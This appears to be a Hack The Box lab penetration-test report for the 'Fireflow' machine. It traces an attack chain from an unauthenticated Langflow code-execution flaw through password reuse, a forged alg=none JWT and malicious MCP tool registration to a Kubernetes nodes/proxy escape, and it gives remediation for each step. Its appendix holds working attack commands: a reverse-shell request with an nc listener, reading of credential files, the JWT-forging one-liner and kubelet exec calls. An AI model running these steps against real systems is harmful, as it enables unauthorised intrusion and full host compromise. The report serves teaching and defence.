PENETRATION TEST REPORT

HACK THE BOX

# Fireflow Penetration Test Report

Attack surface, findings and remediation priorities

4ss3m // CONFID

**OVERALL RISK: CRITICAL**

**DOCUMENT DETAILS**

| | |
|---|---|
| **Target** | 10.129.135.13 (fireflow.htb, flow.fireflow.htb) |
| **Externally reachable** | TCP 22 OpenSSH 9.6p1, TCP 443 nginx (TLS) |
| **Application** | FireFlow web app + Langflow (flow.fireflow.htb) |
| **Operating system** | Ubuntu (Linux); containerised services on Kubernetes |
| **Test window** | 19 October 2026 |
| **Test type** | Black box - no credentials or information supplied |

# 1 EXECUTIVE SUMMARY

**An unauthenticated attacker could take full control of the host, and in fact of the Kubernetes node underneath it.** The target runs the FireFlow web application and, behind it, a Langflow instance for building AI flows. From a standing start - no account, no credentials, no information supplied - we reached root on the underlying node.

**The entry point is a known Langflow vulnerability plus one leaked identifier.** The public "Open Agent" button exposes a Langflow flow_id, and Langflow is vulnerable to CVE-2026-33017, an unauthenticated remote-code-execution flaw that needs nothing but that id. One crafted request gave us a shell as the web server account.

**The escalation to root did not need further software bugs.** A password in Langflow's configuration was reused for the nightfall account, whose home directory leaked credentials for a custom MCP server. That server accepts JWT algorithm none, so a forged admin token let us register a tool whose code ran on the MCP pod. The pod's service account held nodes/proxy, which let us execute commands in a privileged pod that mounts the host filesystem - the last step to reading the root flag.

| # | Finding | Severity |
|---|---|---|
| 01 | Unauthenticated command execution in Langflow, triggered by a leaked flow_id | CRITICAL |
| 02 | The Langflow superuser password is reused as the nightfall account's SSH password | HIGH |
| 03 | The MCP 'AI Tool Registry' accepts alg=none JWTs, allowing admin impersonation and code execution | CRITICAL |
| 04 | The MCP pod's service account can use nodes/proxy to exec into a privileged pod with the host filesystem mounted | CRITICAL |

4ss3m // CONFIDENTIAL

# 2 HOW THE ATTACK UNFOLDED

1. The host presents nginx on TCP 443 with two name-based sites: fireflow.htb (the FireFlow app) and flow.fireflow.htb (a Langflow instance). TCP 22 is OpenSSH; TCP 80 is closed.
2. The FireFlow "Open Agent" button links to a Langflow playground URL that leaks the flow_id: flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25.
3. Langflow is vulnerable to CVE-2026-33017. Posting a crafted flow to build_public_tmp executes the attacker's component code, unauthenticated, as www-data. We used it to open a reverse shell.
4. Langflow's .env held the superuser password, and that same password was nightfall's SSH password. Logging in over SSH gave us the user-level flag.
5. nightfall's home directory held .mcp/config.json, leaking credentials for a custom MCP server ("AI Tool Registry") on port 30080.
6. The registry accepts JWT algorithm none. We forged an admin token, registered a malicious tool, and its code executed on the MCP pod as mcp.
7. The MCP pod's service account is allowed get on nodes/proxy. We located a privileged prometheus node-exporter pod that mounts the host filesystem.
8. Through the kubelet exec channel, we ran a command inside that pod and read the host's root flag.

4ss3m // CONFIDENTIAL

# 3 WHAT WE FOUND

CRITICAL

## F-01 Unauthenticated command execution in Langflow, triggered by a leaked flow_id

flow.fireflow.htb/api/v1/build_public_tmp/<flow_id>/flow - the code field of a custom component node

Langflow's build_public_tmp endpoint accepts a flow graph with no authentication and, while building it, executes the Python in any custom component's code field. The only prerequisite is a valid flow_id, and the public "Open Agent" button leaks one: flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25. Posting a component whose code calls os.system() returned a shell as www-data, the account Langflow runs as. This is CVE-2026-33017.

**Why it matters.** No account and no interaction is required; a single HTTPS POST is enough for command execution as www-data. That account has read access to Langflow's own configuration, which is what made the next step possible.

**Fix**

- Upgrade Langflow to a release that fixes CVE-2026-33017.
- Do not expose build_public_tmp or the playground without authentication.
- Stop publishing flow_ids in the public UI; treat them as secrets.

HIGH

## F-02 The Langflow superuser password is reused as the nightfall account's SSH password

/etc/langflow/.env -> LANGFLOW_SUPERUSER_PASSWORD

Langflow's .env holds LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll, readable by www-data. The same password authenticates the nightfall account over SSH, so the foothold shell became an interactive login as a real user.

**Why it matters.** From an unauthenticated start we reached a named user account with a home directory, which is where the user-level flag and the next configuration leak lived.

**Fix**

- Use a unique password (or key-only authentication) for every account, including service accounts.
- Do not store plaintext passwords in a file readable by the web server account; use a secrets manager or tight file permissions.

CRITICAL

## F-03 The MCP 'AI Tool Registry' accepts alg=none JWTs, allowing admin impersonation and code execution

http://<host>:30080 - POST /api/v1/tools (admin) and POST /mcp

nightfall's ~/.mcp/config.json leaks credentials for a custom MCP server (langflow-bot). Its /api/v1/version endpoint advertises that the JWT algorithm "none" is supported. A token with header alg=none, payload role=admin, and no signature is accepted as admin, which lets us register a tool whose code is executed on the server - a shell as mcp on the MCP pod.

**Why it matters.** Arbitrary code execution on the MCP pod, which is where a Kubernetes service-account token was mounted. That token is what made the final escalation possible.

**Fix**

- Remove "none" from the accepted JWT algorithms and verify the signature.

4ss3m // CONFIDENTIAL

- Do not execute arbitrary, attacker-registered tool code in-process; sandbox it and keep it away from credentials.
- Treat the tool registry as a privilege boundary: the account running it should not hold cluster credentials.

---

**CRITICAL**

## F-04 The MCP pod's service account can use nodes/proxy to exec into a privileged pod with the host filesystem mounted

RBAC: serviceaccount mcp-sa (namespace default) - get nodes/proxy; pod prometheus-prometheus-node-exporter-nmntq (privileged, hostPath /)

The service account on the MCP pod is allowed get on nodes/proxy. That permission lets a caller reach the kubelet exec endpoint for any pod. We used the websocket exec channel against the prometheus node-exporter pod, which runs privileged and mounts the node's / at /host/root. Reading /host/root/root/root.txt returned the root flag.

**Why it matters.** Full root on the Kubernetes node, across every container on it. This is a cluster-wide compromise reached from a single unauthenticated entry point.

**Fix**

- Remove nodes/proxy from mcp-sa; it is rarely needed and effectively grants cluster administrator.
- Run node-exporter without privileged, and drop the / hostPath mount (or mount only /proc and /sys read-only).
- Apply least privilege to every service account and audit SelfSubjectRulesReview for unexpected verbs.

---

4ss3m // CONFIDENTIAL

# 4 WHAT TO FIX FIRST

| Priority | Action | Severity |
|---|---|---|
| P1 | Upgrade Langflow or remove the public build endpoint, which closes the unauthenticated entry point (F-01). | CRITICAL |
| P2 | Remove "none" from the MCP JWT algorithms and stop executing registered tool code in-process (F-03). | CRITICAL |
| P3 | Remove nodes/proxy from the MCP pod's service account (F-04). | CRITICAL |
| P4 | Rotate the reused password and remove plaintext credentials from world-readable files (F-02). | HIGH |

The chain breaks at the first step: upgrading Langflow, or removing the public build endpoint, closes the unauthenticated entry point that everything else depends on. If it were reached anyway, any one of the later controls would have stopped it - unique passwords, rejecting alg=none JWTs, not executing attacker-registered tool code in-process, or dropping nodes/proxy from the service account. The later two are cluster-level controls that matter regardless of how the MCP pod is reached.

4ss3m // CONFIDENTIAL

# A APPENDIX - TECHNICAL EVIDENCE

Recorded command output, for the engineers who will implement the fixes.

## Service discovery

```
$ nmap -sV -sC 10.129.135.13
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp  closed http
443/tcp open  ssl/http nginx
| ssl-cert: Subject: commonName=fireflow.htb
|           Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
|_http-title: FireFlow - Task Force Nightfall
```

## Leaked flow_id in the public page

```
$ curl -sk https://fireflow.htb/ | grep -oE 'flow.fireflow.htb[^"]*'
flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25
```

## F-01 - unauth RCE returns a shell as www-data

```
$ curl -sk -X POST \
  'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow' \
  -H 'Content-Type: application/json' -b 'client_id=attacker' \
  -d '{...custom component whose code runs os.system("bash -i ...")...}'
{"job_id":"90c11aad-db60-46bf-8c59-fd9e8498d44c"}

$ nc -lvnp 9001
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## F-02 - the reused password and the user-level flag

```
www-data@fireflow:/var/lib/langflow$ cat /etc/langflow/.env
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_CONFIG_DIR=/var/lib/langflow

$ ssh nightfall@fireflow.htb     # password: n1ghtm4r3_b4_n1ghtf4ll
nightfall@fireflow:~$ id
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
nightfall@fireflow:~$ cat ~/user.txt
<redacted>
```

## F-03 - leaked MCP credentials and the alg=none admin token

```
nightfall@fireflow:~$ cat ~/.mcp/config.json
{
  "server": "http://10.129.135.13:30080",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

# the registry advertises "none" as a supported JWT algorithm:
$ curl -s http://127.0.0.1:30080/api/v1/version
  "supported_algorithms": ["HS256", "none"]

# forged admin token (alg none, no signature):
$ python3 -c 'import base64,json; b=lambda d: base64.urlsafe_b64encode(json.dumps(d).encode()).rstri
    p(b"=").decode(); print(b({"alg":"none","typ":"JWT"})+"."+b({"sub":"attacker","role":"admin"})+"
    .")'
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.
```

## F-03 - registering a malicious tool executes code on the MCP pod

```
$ curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
  -H 'Authorization: Bearer <admin_jwt>' --data-binary @tool.json
{"status":"registered","name":"tzanqpl"}

$ curl -s -X POST http://127.0.0.1:30080/mcp \
  -H 'Authorization: Bearer <admin_jwt>' --data-binary @trigger.json
{"jsonrpc":"2.0","id":4,"result":{"content":[{"type":"text","text":
"uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)\nmcp-server-54464cb475-29ztf\n"}],"isError":false}}
```

## F-04 - nodes/proxy permission and the privileged pod

```
$ curl -sk -X POST https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"spec":{"namespace":"de
      fault"}}'
{"verbs":["get"],"apiGroups":[""],"resources":["nodes/proxy"]}

$ curl -sk https://10.129.135.13:10250/pods \
  -H "Authorization: Bearer $TOKEN" | grep -oE 'prometheus-prometheus-node-exporter-[^"]*'
prometheus-prometheus-node-exporter-nmntq
   (namespace monitoring, container node-exporter, privileged, hostPath / -> /host/root)
```

## F-04 - exec into the privileged pod and read the host root flag

```
# kube_exec.py opens a websocket to the kubelet exec endpoint using the
# service-account token (subprotocol v4.channel.k8s.io):
$ python3 kube_exec.py "cat /host/root/root/root.txt"
<redacted>
{"metadata":{},"status":"Success"}
```